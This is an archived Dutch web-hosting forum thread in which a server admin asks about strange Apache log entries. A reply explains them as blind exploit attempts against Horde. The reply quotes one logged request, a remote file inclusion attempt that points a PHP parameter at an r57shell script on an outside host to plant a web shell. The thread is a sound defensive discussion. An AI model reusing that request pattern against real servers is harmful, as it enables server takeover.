Apache access log [Archief] - webhostingtalk.nl

FunnyMedia

09/08/07, 11:58

Zat tijdens het wachten van het updaten van DirectAdmin naar 1.30.2 eens te kijken naar "Apache access log" en zag daar het volgende staan: Zie bijlage

Nu heb ik zeker weten geen horde op de server staan, ,aar wat is dit nu wel??!
Is het handig deze IP adressen een warm welkom te geven in de firewall?

Graag tips

X-Hosted

11/08/07, 09:27

Zo te zien is iemand in de wilde weg aan het gokken dat je horde op je server hebt en probeert die te exploiten.

Zie bijvoorbeeld;

http://81.171.101.44/admin/business_inc/saveserver.php?thisdir=http://my-underworld.net/r57shell.txt? HTTP/1.0" 404 -

Hier probeert men een shell script op je server te zetten, om er daarna natuurlijk flink mee te gaan kloten. Maar aangezien je geen horde op je server hebt, kan je deze ip's bannen in je firewall en vrolijk verder gaan ;)